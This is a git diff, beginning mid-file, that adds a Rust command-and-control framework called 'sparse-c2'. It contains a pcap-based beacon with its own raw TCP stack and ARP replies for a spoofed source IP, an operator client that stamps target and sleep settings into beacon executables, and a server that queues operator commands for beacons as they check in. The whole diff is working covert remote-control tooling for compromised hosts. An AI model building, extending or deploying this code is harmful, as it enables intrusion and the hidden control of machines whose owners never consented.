interface = pcap_sys::Interface::::new(&ifname)?; + + let srcip = conf.source_ip; + dbg!(srcip, src_mac, dst_mac); + + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + macro_rules! format_packet { + ($tcp_packet:expr) => {{ + let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet)); + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt)) + }}; + } + + let (send_state_changed, mut receive_state_changed) = mpsc::channel(64); + let (port, packet) = connect( + &mut socket, + ip, + conf.target_port, + srcip, + &send_state_changed, + ) + .await; + _ = receive_state_changed.recv().await; + + interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet"); + } + + let mut packets = interface.stream()?; + + packets.sendpacket(format_packet!(packet).pkt())?; + + let (send_channel, mut send_packet) = mpsc::channel(1024); + let (receive_packet, receiver_channel) = mpsc::channel(1024); + let (send_state_changed, state_changed) = mpsc::channel(1024); + let (close, mut recv_close) = mpsc::channel(16); + let (start_connect, mut handle_connect) = mpsc::channel(16); + + let socket_handle = TcpSocketHandle { + state_changed, + receiver_channel, + send_channel, + close, + start_connect, + }; + + task::spawn(async move { + use_socket(conf, socket_handle).await; + }); + + let mut packet_queue = VecDeque::new(); + + loop { + let deadline = Instant::now() + + socket + .retransmit_timeout + .unwrap_or_else(|| Duration::from_millis(10)); + + tokio::select! { + _ = sleep_until(deadline.into()) => { + let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; }; + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + }, + Some(Ok(bytes)) = packets.next() => { + let pkt = bytes.pkt(); + + match pkt.get_layer3_pkt() { + Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => { + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) { + continue; + } + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + for (b, d) in to_send { + log::trace!("adding packet to send: {b:?}"); + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + }, + Ok(Layer3Pkt::ARP(arp)) => { + if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { + continue; + } + + let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap(); + let sendermac: &[u8] = arp.srchwaddr(); + let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap(); + let queryip: Ipv4Addr = queryip.into(); + + if queryip != srcip { + continue; + } + + let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); + let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response)); + log::trace!("adding packet to send: ARP"); + packet_queue.push_back(resp2); + }, + _ => continue + }; + }, + Some((remote_addr, remote_port)) = handle_connect.recv() => { + match socket.state { + TcpState::Established | TcpState::SynSent => { + send_state_changed.send(socket.state).await; + } + _ => { + let (port, packet) = connect( + &mut socket, + ip, + remote_port, + srcip, + &send_state_changed, + ) + .await; + + packets.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + packets.sendpacket(format_packet!(packet).pkt())?; + } + } + }, + Some(()) = recv_close.recv() => { + log::trace!("adding packet to send: TCP/IP close"); + let Ok(to_send) = close_connection(&mut socket) else { continue; }; + packet_queue.push_back(format_packet!(to_send)); + }, + Some(to_send) = send_packet.recv() => { + log::trace!("adding packet to send: TCP/IP message send"); + match send_data(&mut socket, to_send) { + Ok(pkts) => { + for (b, d) in pkts { + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + } + _ => continue + } + }, + else => { continue; } + } + + if let Some(packet) = packet_queue.pop_front() { + log::trace!("sending packet now ({packet:?})"); + _ = packets.sendpacket(packet.pkt()); + } + } +} diff --git a/sparse-c2/sparse-c2-client/Cargo.toml b/sparse-c2/sparse-c2-client/Cargo.toml new file mode 100644 index 0000000..ce50a45 --- /dev/null +++ b/sparse-c2/sparse-c2-client/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "sparse-c2-client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +serde_json = "1.0.108" +sparse-c2-messages = { path = "../sparse-c2-messages" } +structopt = "0.3.26" +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-client/src/main.rs b/sparse-c2/sparse-c2-client/src/main.rs new file mode 100644 index 0000000..cc9a6bb --- /dev/null +++ b/sparse-c2/sparse-c2-client/src/main.rs @@ -0,0 +1,190 @@ +use std::{ + self, + io::{self, Write}, + net::{Ipv4Addr, SocketAddr}, +}; + +use structopt::StructOpt; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::TcpStream, +}; + +use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR}; + +#[cfg(debug_assertions)] +const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon"); +#[cfg(not(debug_assertions))] +const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon"); + +#[derive(StructOpt)] +enum Command { + Generate { + #[structopt(short = "i", long)] + target_ip: Ipv4Addr, + + #[structopt(short = "p", long)] + target_port: u16, + + #[structopt(short = "o", long)] + source_ip: Ipv4Addr, + + #[structopt(short = "s", long)] + sleep_secs: u32, + + #[structopt(short = "n", long)] + name: String, + }, +} + +#[derive(StructOpt)] +struct Options { + #[structopt(long, short)] + address: SocketAddr, + + #[structopt(subcommand)] + command: Option, +} + +async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> { + let cmd = serde_json::to_vec(&ClientCommand::GetState)?; + + client.write(&cmd).await?; + + let mut buf = [0u8; 8192]; + let len = client.read_u32().await? as usize; + client.read(&mut buf[..len]).await?; + + let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?; + + println!("Commands issued:"); + for command in commands { + match command.beacon_id { + Some(beacon) => println!( + "\t[id {}] (targets: {}): {}", + command.command_id.0, beacon.0, command.command + ), + None => println!( + "\t[id {}] (targets: all): {}", + command.command_id.0, command.command + ), + } + } + + println!("\nBeacons:"); + for beacon in beacons { + print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port); + + match beacon.last_connection { + Some(ci) => print!("last checked in {ci}; "), + None => print!("has not checked in; "), + }; + + if beacon.done_commands.is_empty() { + println!("no commands executed"); + } else { + println!("{} commands executed", beacon.done_commands.len()); + for cmd in beacon.done_commands { + println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1); + } + } + } + + Ok(()) +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let options = Options::from_args(); + + let mut client = TcpStream::connect(options.address).await?; + + match &options.command { + Some(Command::Generate { + target_ip, + target_port, + source_ip, + sleep_secs, + name, + }) => { + let mut file = tokio::fs::OpenOptions::default() + .write(true) + .create(true) + .mode(0o755) + .open(name) + .await?; + + file.write_all(BEACON).await?; + file.write_all(CONF_SEPARATOR).await?; + + let conf = serde_json::to_vec(&BeaconOptions { + sleep_secs: *sleep_secs, + target_ip: *target_ip, + source_ip: *source_ip, + target_port: *target_port, + })?; + file.write_all(&conf).await?; + + let listen = + serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?; + + client.write_all(&listen).await?; + } + None => { + let stdin = io::stdin(); + let mut stdout = io::stdout(); + let mut selected_beacon: Option = None; + + loop { + let mut buffer = String::new(); + match selected_beacon { + Some(ref bid) => print!("{} >", bid.0), + None => print!("> "), + }; + stdout.flush()?; + stdin.read_line(&mut buffer)?; + + let mut items = buffer.trim().split(' '); + let cmd = items.next(); + + match cmd { + None | Some("") => { + eprintln!("Please enter a command!") + } + Some("list") => { + list_state(&mut client).await?; + } + Some("select") => { + let beacon = items.next(); + + match beacon { + Some(bid) => { + selected_beacon = Some(BeaconId(bid.to_owned())); + } + None => { + eprintln!("No beacon ID selected") + } + } + } + Some("cmd") => { + let parts = items.collect::>(); + let cmd = parts.join(" "); + + let cmd = serde_json::to_vec(&ClientCommand::SendCommand( + selected_beacon.clone(), + cmd, + ))?; + + client.write(&cmd).await?; + let _ = client.read_u32().await?; + } + Some(other) => { + eprintln!("Unknown command: {other}"); + } + } + } + } + } + + Ok(()) +} diff --git a/sparse-c2/sparse-c2-messages/Cargo.toml b/sparse-c2/sparse-c2-messages/Cargo.toml new file mode 100644 index 0000000..a5f0a1a --- /dev/null +++ b/sparse-c2/sparse-c2-messages/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "sparse-c2-messages" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +chrono = { version = "0.4.31", features = ["serde"] } +serde = { version = "1.0.193", features = ["derive"] } diff --git a/sparse-c2/sparse-c2-messages/src/lib.rs b/sparse-c2/sparse-c2-messages/src/lib.rs new file mode 100644 index 0000000..e7be1b6 --- /dev/null +++ b/sparse-c2/sparse-c2-messages/src/lib.rs @@ -0,0 +1,55 @@ +use std::net::Ipv4Addr; + +use chrono::prelude::*; +use serde::{Deserialize, Serialize}; + +pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63"; +pub const CLIENT_PORT: u16 = 2034; + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)] +pub struct BeaconId(pub String); + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)] +pub struct CommandId(pub u32); + +#[derive(Deserialize, Serialize)] +pub struct BeaconOptions { + pub target_ip: Ipv4Addr, + pub target_port: u16, + pub source_ip: Ipv4Addr, + pub sleep_secs: u32, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct Command { + pub beacon_id: Option, + pub command_id: CommandId, + pub command: String, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct BeaconInfo { + pub id: BeaconId, + pub port: u16, + pub last_connection: Option>, + pub done_commands: Vec<(CommandId, DateTime)>, +} + +#[derive(Deserialize, Serialize)] +pub enum BeaconCommand { + Command(Command), + Noop, +} + +#[derive(Deserialize, Serialize)] +pub enum ClientCommand { + GetState, + ListenFor(String, u16), + Stop(String), + SendCommand(Option, String), +} + +#[derive(Deserialize, Serialize)] +pub enum ClientResponse { + StateUpdate(Vec, Vec), +} diff --git a/sparse-c2/sparse-c2-server/Cargo.toml b/sparse-c2/sparse-c2-server/Cargo.toml new file mode 100644 index 0000000..52d32a1 --- /dev/null +++ b/sparse-c2/sparse-c2-server/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "sparse-c2-server" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +chrono = "0.4.31" +log = "0.4.20" +nix = "0.27.1" +serde_json = "1.0.108" +simple_logger = "4.3.0" +sparse-c2-messages = { path = "../sparse-c2-messages" } +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-server/src/main.rs b/sparse-c2/sparse-c2-server/src/main.rs new file mode 100644 index 0000000..b42dfea --- /dev/null +++ b/sparse-c2/sparse-c2-server/src/main.rs @@ -0,0 +1,205 @@ +use std::{ + net::Ipv4Addr, + os::fd::AsRawFd, + sync::{ + atomic::{AtomicU32, Ordering}, + Arc, Mutex, + }, +}; + +use nix::libc::{ioctl, TIOCOUTQ}; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::{TcpListener, TcpStream}, + task::yield_now, +}; + +use sparse_c2_messages::{ + BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId, + CLIENT_PORT, +}; + +async fn beacon_accept_task( + beacon: Arc>, + commands: Arc>>, +) -> anyhow::Result<()> { + let port = { + let beacon = beacon.lock().unwrap(); + beacon.port + }; + let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?; + + loop { + let (mut client, _) = socket.accept().await?; + + let commands_to_send: Vec<_> = { + let beacon = beacon.lock().unwrap(); + let commands = commands.lock().unwrap(); + commands + .iter() + .filter(|comm| { + (comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id)) + && !beacon + .done_commands + .iter() + .any(|done_comm| done_comm.0 == comm.command_id) + }) + .map(Clone::clone) + .collect() + }; + + { + let mut beacon = beacon.lock().unwrap(); + log::info!("Beacon {} checking in", beacon.id.0); + beacon.last_connection = Some(chrono::Utc::now()); + } + + let Some(ref command_to_send) = commands_to_send.get(0) else { + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else { + continue; + }; + + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + continue; + }; + + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone())) + else { + continue; + }; + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + { + let mut beacon = beacon.lock().unwrap(); + beacon + .done_commands + .push((command_to_send.command_id, chrono::Utc::now())); + } + } +} + +async fn handle_client( + command_id: Arc, + mut client: TcpStream, + beacons: Arc>>>>, + commands: Arc>>, +) -> anyhow::Result<()> { + loop { + let mut buffer = [0u8; 1024]; + let len = client.read(&mut buffer[..]).await?; + let Ok(cmd) = serde_json::from_slice::(&buffer[..len]) else { + continue; + }; + + match cmd { + ClientCommand::GetState => { + let beacons = { + let beacons = beacons.lock().unwrap(); + beacons + .iter() + .map(|beacon| beacon.lock().unwrap().clone()) + .collect() + }; + let commands = { + let commands = commands.lock().unwrap(); + commands.clone() + }; + let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?; + client.write_u32(res.len() as u32).await?; + client.write(&res).await?; + } + ClientCommand::ListenFor(id, port) => { + let beacon = Arc::new(Mutex::new(BeaconInfo { + id: BeaconId(id), + port, + last_connection: None, + done_commands: vec![], + })); + + { + let mut beacons = beacons.lock().unwrap(); + beacons.push(Arc::clone(&beacon)); + } + + let commands = Arc::clone(&commands); + + tokio::spawn(async move { + if let Err(e) = beacon_accept_task(beacon, commands).await { + log::error!("could not handle beacon listener: {e:?}"); + } + }); + + client.write_u32(0).await?; + } + ClientCommand::SendCommand(id, command) => { + { + let mut commands = commands.lock().unwrap(); + let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst)); + + commands.push(Command { + beacon_id: id, + command_id, + command, + }); + } + + client.write_u32(0).await?; + } + ClientCommand::Stop(_) => { + client.write_u32(0).await?; + } + } + } +} + +#[tokio::main(flavor = "current_thread")] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Trace) + .init()?; + + let commands = Arc::new(Mutex::new(vec![])); + let beacons = Arc::new(Mutex::new(vec![])); + + let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?; + + let command_id = Arc::new(AtomicU32::from(0)); + + loop { + let (client, _) = socket.accept().await?; + + let beacons = Arc::clone(&beacons); + let commands = Arc::clone(&commands); + let command_id = Arc::clone(&command_id); + + tokio::spawn(async { + if let Err(e) = handle_client(command_id, client, beacons, commands).await { + log::error!("error handling client {e:?}"); + } + }); + } +} diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 00c27bf..dc9a021 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -390,7 +390,7 @@ async fn main() -> anyhow::Result<()> { let srcip: Ipv4Addr = srcip.into(); dbg!(srcip, src_mac, dst_mac); - let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?;